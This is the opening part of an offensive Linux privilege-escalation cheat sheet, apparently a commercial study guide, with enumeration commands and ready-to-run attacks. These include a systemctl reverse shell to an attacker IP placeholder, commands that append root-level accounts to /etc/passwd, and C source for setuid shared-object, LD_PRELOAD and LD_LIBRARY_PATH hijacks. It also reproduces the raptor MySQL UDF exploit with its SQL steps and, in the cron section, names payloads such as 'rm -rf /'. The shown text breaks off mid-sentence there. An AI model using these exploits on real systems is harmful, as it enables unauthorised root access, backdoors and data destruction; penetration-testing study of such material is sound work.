Linux Hacking Notes
& Cheat Sheets
The Mastermind Notes
Linux Hacking
Linux Hacking
About The Authors
The MasterMinds Group is a group of talented authors and writers
who are experienced and well-versed across different fields. The
group is led by, Motasem Hamdan, who is a Cybersecurity content
creator and YouTuber.
The MasterMinds Group offers students and professionals study
notes, book summaries, online courses and references across
different work areas such as:
Cybersecurity & Hacking
Information Technology & System Administration
Digital Marketing
Business & Money
Fitness & Health
Self Improvement
Data Analytics
Blogging & Making Money Online
Psychology
Engineering
The group offers consultation services in the below areas:
Cybersecurity Consultation: this includes specialzied-article
writing services and malware removal.
Digital Marketing & System Administration: this includes SEO,
Google & Meta ads advertising.
Contact: consultation@[Link]
Instagram: mastermindsstudynotes
Web: Masterminds Notes
Store: Browse
Table of Contents
Basics
1 / 80
Linux Hacking
Enumeration
Spawn a TTY shell
Viewing system and kernel information
Enumerating the sudo version
Sudo
Bash_History
Linux distribution and kernel version
File system structure
Searching for binaries with SUID / SGID bit set
Enumerating Groups and Users
Enumerate Installed Apps
List storage devices
Reading log files
Viewing failed login attempts
Viewing successful logins
Viewing authentication logs
Viewing system activity
Viewing executed privileged commands
View installation commands
Viewing executed privileged commands
View added users
Check if sudoers files is updated
Viewing created files with vi text editor
Viewing network settings
IP Address
Network Interfaces
Network connections
Displaying active connections with processes PID
DNS Info
DNS servers
Startup services and commands
Startup Services
Startup Commands
Commands History
History of Sudo Commands
2 / 80
Linux Hacking
History of Non Sudo Commands
Listing processes
Enumerating NFS shares with no_root_squash
Searching history files for passwords
Manual Privilege Escalation Methods
Credential Dump
Searching in Config Files
Using Hunting Tools
Using /etc/shadow
Searching in History
Generating a hash for password overwrite on
/etc/passwd/ with new user.
Linux Capabilities
Locating SSH private key files
PAH environment variable
/etc/passwd
Adding a user as root to the /etc/passwd file incase
its writable
Adding privileged user to /etc/passwd/
Hex dump of shadow file
Readable shadow file
Writable shadow file
SUID
Overview of SUID
How SUID Works:
Example of an SUID File:
How to Set the SUID Bit
Searching for binaries with SUID / SGID bit set
Exploiting SUID on Python
Exploiting Systemctl
Another Example
System Binaries
Use 'awk' to execute sys commands
Escalate privilege using find command
Execute command through ZIP:
3 / 80
Linux Hacking
Execute sys commands using python
Perl one liner for privilege escalation
Exploiting vi text editor
Shared Object Injection
Overview
How Privilege Escalation Can Happen with Shared
Objects
Attack Scenario: Shared Object Hijacking
Looking for binaries with SUID /SGID bit set
Picking a binary and finding if it uses system calls to
shared objects
Creating malicious shared object file [.so]
MYSQL UDF
LD_PRELOAD and LD_LIBRARY_PATH
LD_PRELOAD
LD_LIBRARY_PATH
Cron Jobs
Writable bash script under root
Wild cards Command in Cron jobs [tar as an example]
- Reverse shell with Msfvenom
- Reverse shell with Netcat
Shell functions
Exploiting root squash in NFS shares
NFS Overview
Overview of root_squash and no_root_squash
Exploitation
Symlinks
Nodejs NPM
The Package Manager
Third-party services and programs
Logstash
Abusing Apache
X11 authorization
Getting the display ID
Getting more details on the display
4 / 80
Linux Hacking
Screenshot capturing
Getting shell
Abusing Yum
If the user can run yum as sudo
Abusing qpdf
Exploiting Group Permissions
Docker
LXC / LXD
The Disk Group
Exploiting Python Libraries
Overview
How Python Library Hijacking Works:
Automated Methods
Linpeas
LinEnum
Linux exploit suggester
Linux smart enumeration
Linux priv checker
[Link]
PsPy
Unix Priv Checker
Enum4Linux
Remote Logging in
Post Exploitation
Establishing root SSH connection to the target from the
attacking machine without the need for password
Lateral Movement aka Network Pivoting
Forwarding connections with netcat from an internal
internet-disconnected client through a victimized server:
SSH Local port forwarding
Connecting to an internal client on port 445 [ SMB ]
directly from the attacking machine and through a
compromised internal server. This command is typed
on the attacker machine
SSH Remote Port Forwarding
5 / 80
Linux Hacking
SSH Dynamic Port Forwarding
Setting up Socks5 Proxy at the compromised host
SSH Tunneling and Forwarding with Chisel
SSH Hijacking Using SSH-Agent and SSH Agent Forwarding
Persistence
Persistence Methods
Crontab Persistence Techs
Startup Persistence
Creating New Persistence Accounts
SSH Persistence
Data Exfiltration
DNS Exfiltration
ICMP Exfiltration
SSH Exfiltration
Clearing Tracks
Disabling the bash history file to avoid having our
commands recorded
Clearing History
Clearing Logs
Appendix
Privilege escalation C code
Basics
Privilege escalation is the act of exploiting a bug, vulnerability or
misconfiguration in an operating system or application to gain
elevated access to resources that are normally protected from an
application or user. This can allow an attacker to perform actions
that they would not normally be able to do, such as deleting files,
accessing sensitive data, or running programs. There are many
ways that privilege escalation can be accomplished, including
exploiting vulnerabilities in software, using default or weak
passwords, or manipulating configuration settings.
Enumeration
6 / 80
Linux Hacking
Spawn a TTY shell
Useful to stabilize an existing shell
root@kali:python -c 'import pty; [Link]("/bin/sh")'
OR
root@kali:python3 -c 'import pty; [Link]("/bin/bash")'
Or
root@kali:import pty;[Link]("/bin/bash")
Viewing system and kernel information
uname -a
And
/proc/version
And
/etc/issue
And
cat /etc/os-release
And
lsb_release -a
Generally, On a Linux system, we can get more information about
the Linux distribution and release version by searching for files or
7 / 80
Linux Hacking
links that end with -release in /etc/ . Running ls /etc/*-
release helps us find such files.
ls /etc/*-release
We can use the version information of the system kernel to search
for possible kernel exploits that elevate your access to complete
root.
Enumerating the sudo version
Sudo versions < 1.8.28 are vulnerable to CVE-2019-14287, which is
a vulnerability that allows to gain root access with 1 simple
command.
sudo -V
Sudo
The Linux Super User Do, or sudo, command allows users to
escalate their privileges based
on settings found in the sudoers file (typically found in /etc). When
the sudo command is
called, the sudoers file is checked and rights are granted if they are
permitted.
sudo -l
Bash_History
root@kali:cat ~/.bash_history
Linux distribution and kernel version
root@kali:cat /proc/version
root@kali:cat /etc/issue
8 / 80
Linux Hacking
File system structure
root@kali: /etc/fstab
Searching for binaries with SUID / SGID bit set
The set user ID (SETUID, or SUID) and set group ID (GUID) bits tell
Linux that the executable
file they are set for should be run as the owner of the file, not as
the user who launched it.
root@kali:find / -perm –u=s –type f 2>/dev/null
root@kali:find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls
-l {} \; 2> /dev/null
root@kali:find / -perm /4000 2>/dev/null
Enumerating Groups and Users
/etc/passwd| column -t -s :
View logged in users
who
We can use w , which shows who is logged in and what they are
doing.
Show if a user has ever logged in remotely
last log
last
9 / 80
Linux Hacking
View failed logins
fail log -a
View local user accounts
[1]
cat /etc/passwd
cat/etc/shadow
[2]
/etc/passwd| column -t -s :
View local groups
cat/etc/group
View sudo access
cat /etc/sudoers
View accounts with UID 0 (root)
[1]
# awk -F: '($3 == "0") {p rint}' /etc/passwd
[2]
# egrep ':0+' /etc/passwd
Bash history for the root user
# cat /root/.bash_history
File opened by a user
10 / 80
Linux Hacking
# lsof -u user-name
Enumerate Installed Apps
Generally:
ls -lh /usr/bin/
ls -lh /sbin/
RPM based systems
rpm -qa
Debian
dpkg -l
List storage devices
[1]
df -h
[2]
lsblk | grep sd
Reading log files
Viewing failed login attempts
last -f /var/log/btmp
Viewing successful logins
11 / 80
Linux Hacking
last -f /var/log/wtmp
Viewing authentication logs
cat /var/log/[Link] |tail
Viewing system activity
cat /var/log/syslog* | head
Note: To view logs of any other third party application such as
mysql, apache2,ssh,etc you can navigate to [/var/log].
Viewing executed privileged commands
View installation commands
We can check the authentication logs located at /var/log/[Link]
and then use grep
grep sudo /var/log/[Link] | grep install
Viewing executed privileged commands
View added users
grep sudo /var/log/[Link] | grep adduser
Check if sudoers files is updated
grep sudo /var/log/[Link] | grep visudo
Viewing created files with vi text editor
cat /home/it-admin/.viminfo | grep saveas
12 / 80
Linux Hacking
Viewing network settings
IP Address
ip address show
Network Interfaces
cat /etc/network/interfaces
Network connections
Netstat
We can use netstat to obtain full details about network connections.
Below is an explanation of all command options
| -a |show both listening and non-listening sockets
| -l |show only listening sockets
| -n |show numeric output instead of resolving the IP address and
port number
| -t |TCP
| -u |UDP
| -x |UNIX
| -p |Show the PID and name of the program to which the socket
belongs
For example, The command below lists all most interesting network
data in a nice output
netstat -tulpn
This one below lists network connections with the processes using
them.
netstat -at | less
With lsof
13 / 80
Linux Hacking
lsof -i
Another way to filter connections is by using ports. For example the
below command filter only connections on port 25
lsof -i :25
Displaying active connections with processes PID
root@kali:sudo ss -antlp
root@kali:netstat -tulpn
a: shows all listening ports and established connections
t: for tcp
u: for udp
l: list listening ports ready for incoming connections
s: stats about network usage
p: PID information
n: do not resolve names
DNS Info
cat /etc/hosts
DNS servers
cat /etc/[Link]
Startup services and commands
Startup Services
ls /etc/init.d/
Startup Commands
14 / 80
Linux Hacking
.bash_profile and .bashrc are files containing shell commands that
are run when Bash is invoked. These files can contain some
interesting start up setting that can potentially reveal us some
infromation. For example a bash alias can be pointed towards an
important file or process.
cat ~/.bashrc
Commands History
History of Sudo Commands
cat /var/log/[Link]* |grep -i COMMAND|tail
History of Non Sudo Commands
cat ~/.bash_history
Listing processes
We can use ps to dive into processes. The below are the options
for this command
| -e |all processes
| -f |full-format listing
| -j |jobs format
| -l |long format
| -u |user-oriented format
For example, the below command lists processes with details about
the user using the process.
ps aux
a and x are necessary when using BSD syntax as they lift the
“only yourself” and “must have a tty” restrictions; in other words,
it becomes possible to display all processes.
And for process tree
15 / 80
Linux Hacking
ps axjf
Enumerating NFS shares with no_root_squash
On the target machine, list the shares
cat /etc/exports
Select the shares with [rw] and [no_root_squash]
Then we mount the shares on our machine
showmount -e [target-ip]
mount -o rw ip:/backups [path-to-mount-folder-yourmachine]
Next step, create an executable payload that returns a shell [you
can any use of the C codes in this document]. Compile it then
execute on the target machine.
Searching history files for passwords
cat ~/.*history | less
Manual Privilege Escalation Methods
Credential Dump
Possible locations for credentials:
History.
User Bash History.
SSH Keys.
GREP Folders, Files,Database,etc.
Configuration files (.conf, .config, .xml).
Shell Scripts.
Backup Files (.bak).
16 / 80
Linux Hacking
Searching in Config Files
grep --color=auto --include=*.{txt,conf} -rnw '/' -e 'password'
2>/dev/null
Using Hunting Tools
git clone [Link]
cd mimipenguin
sudo ./mimipenguin
Using /etc/shadow
cp /etc/shadow <path>
cp /etc/passwd <path>
unshadow passwd shadow > <passfile>
john <passfile>
Searching in History
Command History
history
Bash history
history /home/user/.bash_history
Generating a hash for password overwrite on
/etc/passwd/ with new user.
root@kali:openssl passwd evil
17 / 80
Linux Hacking
root@kali:echo "root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash" >>
/etc/passwd
Linux Capabilities
Capabilities in Linux are a way of breaking down the traditionally
monolithic root privileges into smaller, more manageable units.
Instead of giving a process full root access, which has all
administrative rights, capabilities allow specific privileges to be
granted to processes without giving them complete control over the
system. This fine-grained control improves security by limiting the
scope of what a process can do, even if it runs as root or needs
elevated privileges.
In essence, capabilities split the all-encompassing root privileges
into distinct "units," where each unit represents a specific
privilege, and these can be individually assigned or removed from a
process. For example, a process may only need the ability to bind
to privileged ports or change file ownership, without the need for
full root access.
Example Capabilities
1. CAP_NET_BIND_SERVICE: Allows binding to privileged ports
(ports below 1024) without needing full root privileges.
2. CAP_SYS_TIME: Allows modifying the system clock.
3. CAP_CHOWN: Allows changing file ownership.
4. CAP_DAC_OVERRIDE: Bypasses file read, write, and execute
permission checks (equivalent to overriding discretionary
access control).
Viewing Capabilities for a specific binary
getcap /path/to/binary
Or you can run it in an entire directory
getcap -r / 2>/dev/null
18 / 80
Linux Hacking
Then you can use GTfobins website to learn the exploitation method.
Setting Capabilities
Capabilities can be manipulated using tools like setcap to assign
them to files or processes. For example, using setcap to grant
specific
capabilities to a binary:
sudo setcap 'cap_net_bind_service=+ep' /path/to/binary
This command grants the binary the ability to bind to low-numbered
ports (like 80) without needing full root privileges.
Removing Capabilities
To remove capabilities, use the setcap command with a minus
sign:
sudo setcap 'cap_net_bind_service=-ep' /usr/bin/binary
Checking Effective Capabilities
You can check the effective capabilities of a running process using
the capsh command:
capsh --print
Example:cap_setuid capability and library load feature in OpenSSL
if the output of the above commands was similar to the below
usr/bin/openssl = cap_setuid+ep
Then we can perform the below steps:
step 1
sudo apt-get install libssl-dev
step 2
Copy the below code to a new file
19 / 80
Linux Hacking
#include <openssl/engine.h>
static int bind(ENGINE *e, const char *id)
{
setuid(0); setgid(0);
system("/bin/bash");
}
IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
step 3
Compile
gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c
gcc -shared -o [Link] -lcrypto openssl-exploit-
engine.o
Step 4
Execute [[Link]] in your target machine.
Locating SSH private key files
find / -xdev -type f -print0 | xargs -0 grep -H "BEGIN RSA PRIVATE
KEY"
PAH environment variable
Path abuse vulnerabilities occur when an attacker is able to
manipulate the search path that is used by the operating system to
locate executables. The search path is a list of directories that the
operating system looks in, in a specific order, to find an executable
file when it is launched. If an attacker can modify the search path,
they can potentially execute arbitrary code with the privileges of the
user or process that is trying to launch the file.
Check the search path of the user
20 / 80
Linux Hacking
echo $PATH
Check for directories in the search path that might have vulnerable
permission by Run the following in each directory from the $path
ls -ld
If you have write access, you can simply change a binary to run a
malicious file.
Lets say you created a malicious binary named find and you want it
to get executed instead of the original /usr/bin/find . After creating
the binary and storing it under /tmp , place /tmp first in the order
of paths in the environment variable as shown below:
export PATH=/tmp:$PATH
echo $PATH
Useful when you want to execute your own payloads instead of
legitimate ones with no defined path.
/etc/passwd
Below are some tactics to use Linux password file to escalate
privileges:
Adding a user as root to the /etc/passwd file incase
its writable
First we create a password with a salt for the user which will be
added to /etc/passwd
root@kali:~$openssl passwd -1 -salt pentesting5 [yourpassword]
$1$hack$22.CgYt2uMolqeatCk9ih
<root@kali:~$sudo /usr/bin/cat >> /etc/passwd>
21 / 80
Linux Hacking
pentesting: $1$hack$22.CgYt2uMolqeatCk9ih/:0:0::/root:/bin/bash
#^C
Adding privileged user to /etc/passwd/
root@kali:~$perl -le 'print crypt("bulldog2", "aa")'
Now,adding the privileged user with the hash from the above
command
root@kali:~$echo
"motasem:aadiOpWrzh6/U:0:0:motasem:/root:/bin/bash" >> /etc/passwd
Hex dump of shadow file
root@kali$:xxd /etc/shadow | xxd -r
Readable shadow file
if the /etc/shadow is writable, we can dump its content and crack
the hashes
cat /etc/shadow
User password hash can be found between the first and second
colons (:) of each line.
Save the root user's hash to a file called [Link] on your machine.
john --wordlist=/usr/share/wordlists/[Link] [Link]
Then to root
su root
Writable shadow file
22 / 80
Linux Hacking
If /etc/shadow is writable, we can generate a hash and overwrite
the root hash
mkpasswd -m sha-512 newpasswordhere
Edit /etc/shadow and replace the original root user's hash with the
one your created
su root
SUID
Overview of SUID
Set User ID (SUID) is a special permission bit in Unix/Linux systems
that allows a file to be executed with the privileges of the file’s
owner, rather than the privileges of the user running the file. This
means that even if a regular user executes a file with the SUID bit
set, the program will run with the privileges of the file’s owner,
which is often the root user for critical system utilities.
How SUID Works:
When the SUID bit is set on an executable file, any user can execute
the file with the effective privileges of the file owner. This is
typically used for system utilities that need to perform tasks
requiring elevated permissions (like changing passwords or mounting
filesystems), but without giving users full administrative access.
File Owner’s Privileges: The key feature of SUID is that the
executable runs with the privileges of the file owner. If the
file is owned by root and has the SUID bit set, it will run with
root privileges, even if executed by a regular user.
Example of an SUID File:
A common example of an SUID file is the /usr/bin/passwd utility,
which allows users to change their password. This program needs
23 / 80
Linux Hacking
elevated permissions to modify system files like /etc/shadow , but
regular users are allowed to execute it.
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 54256 Sep 12 2021 /usr/bin/passwd
The s in the file permissions ( rwsr-xr-x ) indicates that the SUID bit
is set, meaning when any user executes passwd , it will run with the
permissions of the file owner ( root ).
How to Set the SUID Bit
The SUID bit can be set using the chmod command. To set the SUID
bit on a file:
chmod u+s filename
For example, setting the SUID bit on a script called my_script :
chmod u+s my_script
This will modify the file’s permissions so that it runs with the
owner’s privileges.
Searching for binaries with SUID / SGID bit set
The set user ID (SETUID, or SUID) and set group ID (GUID) bits tell
Linux that the executable
file they are set for should be run as the owner of the file, not as
the user who launched it.
root@kali:find / -perm –u=s –type f 2>/dev/null
root@kali:find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls
-l {} \; 2> /dev/null
Exploiting SUID on Python
24 / 80
Linux Hacking
Verify SUID on python
ls -l /usr/bin/python
-rwsr-xr-x 1 root root /usr/bin/python
Create a Python One-Liner for Privilege Escalation
/usr/bin/python -c 'import os; [Link]("/bin/sh", "sh", "-i")'
Verifying privilege escalation
whoami
Exploiting Systemctl
Execute the below commands one by one.
root@kali:~$: Type=oneshot
root@kali:~$: ExecStart=/bin/bash -c ‘exec 5<>/dev/tcp/[ATTACKER-
IP]/[PORT]
root@kali:~$:while read line 0<&5; do $line 2>&5 >&5; done
root@kali:~$:[Install]
root@kali:~$:WantedBy=[Link]
root@kali:~$/bin/systemctl daemon-reload
root@kali:~$/bin/systemctl enable --now [Link]
And we should receive the shell on the listener.
Another Example
Lets say we have a binary that executes only one command. Say it
executes ‘id’ and we want to use it to execute other commands as
root since it has SUID bit set. We leverage a subshell to be run in a
subprocess and pass the commands to the main tool. We pass the
id command and then pass the subshell.
root@kali:~$/usr/local/bin/shell "/bin/id /\$(whoami)"
25 / 80
Linux Hacking
root@kali:~$/usr/local/bin/shell "/bin/id /\$(cat /root/[Link])"
root@kali:~$/usr/local/bin/shell "/bin/id /\$(command)"
System Binaries
Use 'awk' to execute sys commands
root@kali$:awk 'BEGIN {system("command")}'
Escalate privilege using find command
root@kali$:sudo find /home -exec /bin/bash \;
Execute command through ZIP:
root@kali$:sudo -u root zip /path-to-some-zip-file /path-to-output
-T --unzip-command="sh -c /bin/bash"
Execute sys commands using python
root@kali$:python -c 'import os; [Link]("command")'
Perl one liner for privilege escalation
root@kali$:sudo perl -e 'exec' "/bin/bash";'
Exploiting vi text editor
If you run [sudo -l] and you find vi, then you can escape vim to
escalate to root privileges
sudo vi -c ':!/bin/sh' /dev/null
Shared Object Injection
26 / 80
Linux Hacking
Overview
A shared object (SO) is a compiled binary file, commonly used in
Unix-like operating systems, that provides reusable code and data
for multiple programs. These shared objects typically have the .so
extension and are used by programs to access shared libraries at
runtime. The benefit of shared objects is that they allow programs
to use common code without embedding it directly in their own
binaries, reducing redundancy and saving memory by loading the
shared object into memory only once, even if multiple programs use
it.
However, if an attacker can manipulate a custom shared object used
by a program, they can potentially hijack the behavior of the
program and execute arbitrary code. If the targeted program runs
with elevated privileges, such as root, this could lead to privilege
escalation.
How Privilege Escalation Can Happen with Shared
Objects
Some binaries or programs rely on custom or third-party shared
objects for additional functionality. If these shared objects can be
altered or replaced by an attacker, it could allow them to execute
malicious code in the context of the program that uses the shared
object. If the program is running with elevated privileges, the
malicious code would also run with those privileges, allowing the
attacker to escalate their privileges on the system.
Attack Scenario: Shared Object Hijacking
1. Target Program Using a Custom Shared Object:
A binary running with elevated privileges (e.g., setuid
root) depends on a shared object, such as
[Link] .
The program dynamically loads this shared object at
runtime.
2. Manipulating the Shared Object:
If an attacker has write access to the directory where
the custom shared object is stored or can control how
27 / 80
Linux Hacking
the shared object is loaded (e.g., by modifying
environment variables like LD_LIBRARY_PATH or
LD_PRELOAD ), they can replace or inject a malicious
shared object.
The attacker creates a malicious version of
[Link] that contains code to escalate privileges,
such as spawning a root shell or modifying system
files.
3. Exploiting the Vulnerability:
When the program runs, it loads the attacker's
malicious shared object instead of the legitimate one.
Since the program is running with elevated privileges,
the malicious code in the shared object is executed with
the same privileges.
4. Privilege Escalation:
The attacker’s code now runs as root (or another
privileged user), allowing them to take full control of
the system, modify critical files, or perform other
malicious actions.
Looking for binaries with SUID /SGID bit set
root@kali:find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls
-l {} \; 2> /dev/null
Picking a binary and finding if it uses system calls
to shared objects
The binary here is /usr/local/bin/suid-so
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such
file"
Say it tries to load an object not found in /home/user/.config
Creating malicious shared object file [.so]
28 / 80
Linux Hacking
Create that directory and a shared object file with exact name and
using the code below
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
The code above can be compiled to a shared object
gcc -shared -fPIC -o /home/user/.config/[Link]
/home/user/tools/suid/libcalc.c
Finally execute the binary to get shell
/usr/local/bin/suid-so
MYSQL UDF
To use this method, the mysql service should be running as root and
the root user of the mysql service doesn't have any password set.
Create a C file named raptor_udf2.c and use the below code
/*
* $Id: raptor_udf2.c,v 1.1 2006/01/18 [Link] raptor Exp $
* raptor_udf2.c - dynamic library for do_system() MySQL UDF
* Copyright (c) 2006 Marco Ivaldi <raptor@[Link]>
29 / 80
Linux Hacking
* This is an helper dynamic library for local privilege escalation
through
* MySQL run with root privileges (very bad idea!), slightly
modified to work
* with newer versions of the open-source database. Tested on MySQL
4.1.14.
* See also: [Link]
* Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases
include fixes
* for the security vulnerabilities in the handling of User Defined
Functions
* (UDFs) reported by Stefano Di Paola <[Link]@[Link]>.
For further
* details, please refer to:
* [Link]
* [Link]
* [Link]
* [Link]
30 / 80
Linux Hacking
* "UDFs should have at least one symbol defined in addition to the
xxx symbol
* that corresponds to the main xxx() function. These auxiliary
symbols
* correspond to the xxx_init(), xxx_deinit(), xxx_reset(),
xxx_clear(), and
* xxx_add() functions". -- User Defined Functions Security
Precautions
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so
raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo
31 / 80
Linux Hacking
values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname
'raptor_udf2.so';
* mysql> select * from [Link];
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown [Link]
/tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT,
32 / 80
Linux Hacking
ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char
*error)
if (args->arg_count != 1)
return(0);
33 / 80
Linux Hacking
system(args->args[0]);
return(0);
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char
*message)
return(0);
Compile the file
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so
raptor_udf2.o -lc
Next connect to the mysql service as root with blank password.
Execute the following commands on the mysql shell to create User
Defined Function (UDF) "do_system"
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-
udf/raptor_udf2.so'));
select * from foo into dumpfile
'/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
34 / 80
Linux Hacking
Use do_system function to create a bash shell
select do_system('cp /bin/bash /tmp/shell; chmod +xs /tmp/shell');
Exit out of the mysql shell and execute
/tmp/shell -p
LD_PRELOAD and LD_LIBRARY_PATH
LD_PRELOAD
LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's
environment. LD_PRELOAD loads a shared object before any others
when a program is run. LD_LIBRARY_PATH provides a list of
directories where shared libraries are searched for first.
Check first which env variables are inherited first
sudo -l
if you see LD_PRELOAD and LD_LIBRARY_PATH then you can follow the
steps below.
Create a file called preload.c with the below code
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
We will create a shared object now
35 / 80
Linux Hacking
gcc -fPIC -shared -nostartfiles -o /tmp/[Link]
/home/user/tools/sudo/preload.c
Now we set LD_PRELOAD to be equal to the shared object
sudo LD_PRELOAD=/tmp/[Link] /usr/bin/find
/usr/bin/find has been selected since it can be run as root without
passwd. Check to see which programs can be run without passwd
using 'sudo-l'
LD_LIBRARY_PATH
First we check the shared libraries for a program that can be run as
root without the need for passwd
ldd /usr/sbin/apache2
Create a shared object with the same name as one of the listed
libraries ([Link].1)
Shared object code
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
Compile it
36 / 80
Linux Hacking
gcc -o /tmp/[Link].1 -shared -fPIC
/home/user/tools/sudo/library_path.c
Next we run apache2 as sudo while setting the LD_LIBRARY_PATH
environment variable to /tmp (where we output the compiled shared
object)
sudo LD_LIBRARY_PATH=/tmp apache2
Cron Jobs
Cron jobs are scheduled tasks in Unix-like operating systems that
enable users to automate the execution of commands or scripts at
specific times or intervals. These tasks are managed by the cron
daemon ( crond ), which runs in the background and triggers jobs
based on pre-defined schedules.
Cron jobs are particularly useful for automating repetitive tasks such
as backups, system maintenance, log rotation, and software
updates, ensuring they occur without manual intervention.
Cron Syntax
Cron jobs are defined in a file called a crontab (cron table), which
contains the schedule and the corresponding command to be
executed. Each line in a crontab file represents a job and follows
this format:
* * * * * command_to_be_executed
│ │ │ │ │
│ │ │ │ └── Day of the week (0 - 7) (Sunday = 0 or 7)
│ │ │ └──── Month (1 - 12)
│ │ └────── Day of the month (1 - 31)
│ └──────── Hour (0 - 23)
└────────── Minute (0 - 59)
Each field represents a time component, and asterisks ( * ) denote
"any value," meaning the job can run at any minute, hour, day,
etc., unless specified otherwise.
37 / 80
Linux Hacking
View the contents of the system-wide crontab
cat /etc/crontab
Based on the content of the crontab, we look for jobs under the
root account or another more privileged account that the shell you
currently have. See if you can modify the script/application used to
launch the cronjob and replace the content with bash shell.
Using PsPy64
To verify whether a cron job is active and observe running
processes, including those executed by other users, you can use
pspy, a command-line utility that does not require root privileges.
pspy allows you to monitor and track the execution of processes,
including scheduled tasks like cron jobs, by reading from the /proc
filesystem.
Here’s how you can use pspy to monitor cron jobs:
Steps to Use pspy:
1. Download pspy:
First, you need to download the pspy binary. You can
choose the correct version depending on the
architecture of the system you are working on (e.g.,
pspy32 or pspy64 ).
wget
[Link]
y64 chmod +x pspy64
1. Run pspy:
Once the binary is downloaded and made executable,
you can run it to start monitoring processes.
./pspy64
2. Observe Process Activity:
As pspy runs, it will display a real-time log of
processes, including commands triggered by cron jobs.
You’ll be able to see the execution of cron jobs or any
other processes initiated by system or user-level
38 / 80
Linux Hacking
crontabs.
For example, you may see output like:
2024/10/16 [Link] CMD: cron /bin/sh -c /path/to/cron_script.sh
1. Filtering Output:
You can use the output of pspy to specifically monitor
processes related to cron or certain users. Watch for
commands or scripts executed at regular intervals,
which typically indicates cron job activity.
Cron Jobs Exploitation Techniques
Modifying World-Writable Scripts
Description: If a cron job executes a script that has world-
writable permissions, an attacker can modify the script to
include malicious commands.
Exploit: Modify the writable script to include arbitrary
commands that will be executed by the cron job.
Example: If /path/to/[Link] is writable, an attacker could
insert a command like rm -rf / or a backdoor.
Creating a Malicious Script
Description: If a cron job runs a script based on its name and
directory, an attacker can create a malicious script with the
same name in a directory that is executed before the
legitimate one.
Exploit: Place a malicious script in a directory that is higher in
the system's search order, causing it to run instead of the
legitimate script.
Example: Creating a script named [Link] in a directory that
is prioritized over the directory containing the legitimate
[Link] .
Race Conditions
Description: Race conditions occur when a script is quickly
modified between the time it's read and executed by a cron
job.
Exploit: Quickly replace the script while the cron job is running
to execute arbitrary commands.
39 / 80
Linux Hacking
Example: An attacker could replace a script right after it has
been validated but before it's executed.
Exploiting Environment Variables
Description: Cron jobs often rely on environment variables,
which can be manipulated if not properly set or sanitized.
Exploit: Modify environment variables like LD_PRELOAD or PATH
to point to malicious binaries or libraries that will be executed
by the cron job.
Example: Setting LD_PRELOAD to a malicious shared object that
executes arbitrary code when the cron job runs.
Path Manipulation
Description: If a cron job uses commands without specifying
full paths, an attacker can exploit the PATH variable to
execute malicious programs.
Exploit: Place malicious executables earlier in the PATH
variable so the cron job runs the attacker’s version of
commands like ls or cp .
Example: Creating a malicious cp binary that runs before the
system’s legitimate cp in the PATH .
Symlink Attacks
Description: When a cron job writes output to a file, an
attacker can create a symlink to a sensitive file, causing the
cron job to overwrite it.
Exploit: Create a symbolic link from the cron job’s target
output file to a sensitive system file, leading to privilege
escalation or corruption of important data.
Example: Linking /tmp/[Link] to /etc/passwd , so the cron
job overwrites /etc/passwd .
Utilizing Default Shell Behavior
Description: Exploiting specific shell behaviors (such as
command substitution in bash) to execute arbitrary commands
within a cron job script.
Exploit: Use command substitution, like $(malicious_command) ,
in a script that cron executes, forcing the execution of
unintended commands.
40 / 80
Linux Hacking
Example: Injecting $(rm -rf /) into a bash script executed by
cron.
Adding to the Crontab
Description: If an attacker gains access to crontab -e through
a user with sufficient privileges, they can add their own
malicious cron jobs.
Exploit: Insert a new cron job that runs arbitrary commands at
scheduled intervals.
Example: Adding * * * * * /path/to/malicious_script.sh to the
crontab, ensuring that the script runs every minute.
Exploiting Missing User Permissions
Description: If a cron job with elevated privileges executes
scripts or binaries without restricting which files it interacts
